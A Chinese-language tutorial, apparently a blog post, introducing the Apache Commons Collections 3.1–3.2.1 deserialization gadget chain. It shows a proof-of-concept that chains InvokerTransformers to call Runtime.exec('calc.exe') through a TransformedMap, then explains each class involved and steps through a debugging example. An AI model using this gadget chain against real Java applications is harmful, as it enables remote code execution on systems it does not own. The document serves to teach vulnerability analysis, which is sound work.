前言 Commons Collections
的利用链也被称为cc链,在学习反序列化漏洞必不可少的一个部分。Apache Commons Collections
是Java中应用广泛的一个库,包括Weblogic、JBoss、WebSphere、Jenkins等知名大型Java应用都使用了这个库。
1 2 JDK版本:jdk1.8以前(8u71之后已修复不可利用) CC版本:Commons-Collections 3.1-3.2.1
前置知识 看下poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 package com.sec.test1; import org.apache.commons.collections.*; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.util.HashMap; import java.util.Map; public class test { public static void main(String[] args) throws Exception { //此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码 Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"}) }; //将transformers数组存入ChaniedTransformer这个继承类 Transformer transformerChain = new ChainedTransformer(transformers); //创建Map并绑定transformerChina Map innerMap = new HashMap(); innerMap.put("value", "value"); //给予map数据转化链 Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); //触发漏洞 Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next(); //outerMap后一串东西,其实就是获取这个map的第一个键值对(value,value);然后转化成Map.Entry形式,这是map的键值对数据格式 onlyElement.setValue("foobar"); } }
结果成功执行命令,先来说下原因:首先利用ChainedTransformer
类构建一个Transformer
链,通过调用多个Transformer类来造成命令执行;当调用ChainedTransformer.transform()
时,会把Transformer[]
数组中的所有Transformer
依次执行transform()
方法,而且这里每个transform()
方法执行后的结果被传递给第二个Transformer
去执行transform()
方法,所以造成命令执行。以上代码相当于这一行代码:
1 2 Runtime.getRuntime().getClass().getMethod("exec",new Class[]{String.class}).invoke(Runtime.getRuntime(),"calc.exe");
在调试调用链的时候,会接触到一些没接触过的类,先了解下这些类的作用。
Transformer
是Commons Collections
中提供的一个接口
根据注释可以了解到,Transformer
定义由将一个对象转换为另一个对象的类实现的仿函数接口。 Transformer
将输入对象转换为输出对象,输入对象应保持不变。 Transformer
通常用于类型转换或从对象中提取数据。
ConstantTransformer
是Transformer
的实现类,注释中解释说“每次返回相同常量的转换器实现,不检查对象是否不可变。通常,只有不可变对象才应该使用常量工厂,可变对象应该使用原型工厂”。
InvokerTransformer
也是Transformer
的实现类,作用是通过反射创建一个新对象实例的Transformer
实现。
在构造方法中有三个参数,第一个参数是待执行的方法名,第二个参数 是这个函数的参数列表的参数类型,第三个参数是传给这个函数的参数列表 。
里面还有个transform
的方法,代码很明显,该方法可以通过Java反射机制来进行执行任意代码。
ChainedTransformer
也是实现了Transformer
接口的⼀个类,作用是可以实现将指定的Transformer
链接在一起。输入对象被传递给第一个Transformer
,输出后的结果被传递给第二个Transformer
,依此类推。
注意到ChainedTransformer
有个transform
方法,该方法的作用是将每个Transformer
的输入转换为结果,这里会遍历transform
数组。
Map 利用Transformer
来执行命令需要绑定到Map上,抽象类AbstractMapDecorator
是Apache Commons Collections
提供的一个类,实现类有很多,比如LazyMap
、TransformedMap
等,这些类都有一个decorate()
方法,用于将上述的Transformer
实现类绑定到Map上,当对Map进行一些操作时,如修改数据,会自动触发Transformer
实现类的tranform()
方法,不同的Map类型有不同的触发规则。
之前我们在poc里写了如下代码
1 Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); //给予map数据转化链
跟踪下就可以知道,通过TransformedMap.decorate()
方法将Transformer
实现类分别绑定到map的key和value上,当map的key或value被修改时,会调用对应Transformer
实现类的transform()
方法。我们可以把chainedtransformer
绑定到一个TransformedMap
上,当此map的key或value发生改变时,就会自动触发chainedtransformer.transform()
方法。
下面简单分析下执行流程
先编写一个测试用例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 package com.sec.test1; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.map.TransformedMap; import java.util.HashMap; import java.util.Map; public class Mytransform implements Transformer { String name; public Mytransform(String name) { this.name = name; } @Override public Object transform(Object input) { System.out.println("in myTransformer :transform()"); System.out.println("input is " + input); return this.name; } public static Transformer getinstance(String name) { return new Mytransform(name); } public static void main(String[] args) { Mytransform mytransform = (Mytransform) Mytransform.getinstance("sec"); HashMap objectObjectHashMap = new HashMap(); objectObjectHashMap.put("key1", "value1"); objectObjectHashMap.put("key2", "value2"); Map map = TransformedMap.decorate(objectObjectHashMap, null, mytransform); Map.Entry entry = (Map.Entry) map.entrySet().iterator().next(); entry.setValue("new1"); System.out.println(objectObjectHashMap); } }
运行结果如下
在setValue
处打上断点
点击调式
进入setValue
方法中,这里会将value值传递给checkSetValue()
方法中
跟进checkSetValue()
方法,到这里已经和上面我们得出的结论一致了,它会调用对应Transformer
实现类的transform()
方法,这里的valueTransformer
是在TransformedMap.decorate
中将mytransform
赋值给它的
跟进,就进入了我们重写的transform
方法中
以上就是一些前置知识。
参考 https://www.cnblogs.com/litlife/p/12571787.html#transformedmap
https://www.cnblogs.com/nice0e3/p/13758664.html#transformer